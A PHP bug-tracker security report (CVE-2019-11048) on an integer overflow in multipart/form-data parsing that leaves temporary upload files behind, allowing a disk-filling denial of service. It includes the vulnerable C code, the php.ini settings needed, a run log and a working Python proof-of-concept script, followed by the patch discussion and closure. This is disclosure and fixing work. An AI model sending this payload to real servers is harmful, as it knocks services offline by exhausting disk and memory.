|  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #78876 Long variables in multipart/form-data cause OOM and temp files are not cleaned
Submitted: 2019-11-28 11:07 UTC Modified: 2020-05-11 21:22 UTC
From: jr at coredu dot mp Assigned: stas (profile)
Status: Closed Package: *Web Server problem
PHP Version: 7.2.25 OS: ALL
Private report: No CVE-ID: 2019-11048
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
Block user comment
Status: Assign to:
Bug Type:
From: jr at coredu dot mp
New email:
PHP Version: OS:


 [2019-11-28 11:07 UTC] jr at coredu dot mp
There is a bug in php-src/main/rfc1867.c that allows a malicious user to crash php during a multipart/form-data file upload. A large multipart/form-data variable causes an integer overflow that leads to a subsequent crash.
The problem is that if multiple files are uploaded at the same time and the bug is triggered with one of the later files,all previous temp files will not be deleted and fill up the disk. This could be used for a easy to execute remote denial of service attack.

Required php.ini settings:

; post_max_size needs to be at least 2GB + a few additional bytes for the rest of the form (this depends on the exact POC)
; For the POC attached to this bug report, please use 2147483839 or more.
post_max_size = 2147483839
; this could be remotely set with the MAX_FILE_SIZE form variable but in order to keep the POC as simple as possible, I did not do this
; so set upload_max_filesize to 0
upload_max_filesize = 0
; according to documentation, memory_limit should always be larger than post_max_size so I set it to 4GB to be on the safe side
memory_limit = 4GB

The security issue exists in SAPI_API SAPI_POST_HANDLER_FUNC(rfc1867_post_handler) in the handling of large variables:

/* Normal form variable, safe to read all data into memory */
if (!filename && param) {
    size_t value_len;
    char *value = multipart_buffer_read_body(mbuff, &value_len);
    size_t new_val_len; /* Dummy variable */

    if (!value) {
        value = estrdup("");
        value_len = 0;


static char *multipart_buffer_read_body(multipart_buffer *self, size_t *len)
	char buf[FILLUNIT], *out=NULL;
	int total_bytes=0, read_bytes=0;

	while((read_bytes = multipart_buffer_read(self, buf, sizeof(buf), NULL))) {
		out = erealloc(out, total_bytes + read_bytes + 1);
		memcpy(out + total_bytes, buf, read_bytes);
		total_bytes += read_bytes;

	if (out) {
		out[total_bytes] = '\0';
	*len = total_bytes;

	return out;

The problem is that the total_bytes variable has the type of a signed integer. If the variable is large enough to overflow it, total_bytes will
be negative. This causes the erealloc() to fail because it will be converted to a extremely large 64 bit integer.
Subsequently, the script apruptly exits and the already uploaded temporary files are not deleted.

Example run of attached POC:

root@vagrant:/var/www/html# ls /tmp/php*
ls: cannot access '/tmp/php*': No such file or directory
root@vagrant:/var/www/html# python 
[+] Opening connection to on port 80: Done
sending payload with size 2147483839
[*] Switching to interactive mode
HTTP/1.1 502 Bad Gateway
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 18 Nov 2019 05:43:50 GMT
Content-Type: text/html
Content-Length: 182
Connection: keep-alive

<head><title>502 Bad Gateway</title></head>
<body bgcolor="white">
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
[*] Closed connection to port 80
root@vagrant:/var/www/html# ls /tmp/php*
root@vagrant:/var/www/html# cat /tmp/php3kyNzA 

Please note that the python POC requires the pwntools library (pip install pwntools).
It posts to localhost:80/poc.php - modify the http request if required, the contents of poc.php do not matter.

Test script:
#!/usr/bin/env python

from pwn import *

r = remote("", 80)

boundary = "FOO"

def line(s):
    return "%s\n" %s

buf2 = ""
buf2 += line("--"+boundary)
buf2 += line('Content-Disposition: form-data; name="test"; filename="test"')
buf2 += line("")
buf2 += line("test"*0x10)
buf2 += line("--"+boundary)
buf2 += line('Content-Disposition: form-data; name="foo"')
buf2 += line("")
buf2 += line("a"*0x7FFFFFFF)
buf2 += line("--"+boundary+"--")

buf = ""
buf += "POST /poc.php HTTP/1.1\n"
buf += "Host: localhost\n"
buf += "Content-Type: multipart/form-data; boundary=%s\n" % boundary
buf += "Content-Length: %d\n" % len(buf2)
buf += "\n"

print "sending payload with size %d" % len(buf2)
r.send(buf + buf2)

Expected result:
php should not crash, the temporary file should be deleted

Actual result:
php crashes, the temporary file is not deleted


Add a Patch

Pull Requests

Add a Pull Request


AllCommentsChangesGit/SVN commitsRelated reports
 [2019-11-29 04:34 UTC]
-Summary: Long variables in multipart/form-data crash PHP and lead to disk exhaustion +Summary: Long variables in multipart/form-data cause OOM and temp files are not cleaned
 [2019-11-29 04:34 UTC]
Allocation failure strictly speaking is not a crash, but not cleaning up temp file may be indeed bad and cause DOS.
 [2019-11-29 04:34 UTC]
-Package: Reproducible crash +Package: *Web Server problem
 [2019-12-16 08:20 UTC]
-CVE-ID: +CVE-ID: 2019-11048
 [2020-03-18 09:29 UTC]
-Status: Open +Status: Verified -Assigned To: +Assigned To: stas
 [2020-03-18 09:29 UTC]
Suggested fix:

@jr, could you please confirm that the patch fixes the bug?
 [2020-03-18 09:30 UTC]
-Status: Verified +Status: Open -Assigned To: stas +Assigned To:
 [2020-03-18 09:30 UTC]
Oops, the patch is meant for bug #78875.  Sorry for the noise.
 [2020-03-18 09:59 UTC]
-Status: Open +Status: Verified -Assigned To: +Assigned To: stas
 [2020-03-18 09:59 UTC]
Suggested fix for this issue:

@jr, could you please confirm that the patch fixes the bug?
 [2020-04-21 07:50 UTC] jr at coredu dot mp
Patch looks good, this should fix the crash. Thanks!
 [2020-05-11 21:22 UTC]
Automatic comment on behalf of
Log: Fix #78876: Long variables cause OOM and temp files are not cleaned
 [2020-05-11 21:22 UTC]
-Status: Verified +Status: Closed
 [2020-05-12 07:02 UTC]
Automatic comment on behalf of
Log: Fix #78876: Long variables cause OOM and temp files are not cleaned
PHP Copyright © 2001-2023 The PHP Group
All rights reserved.
Last updated: Tue Dec 05 08:01:30 2023 UTC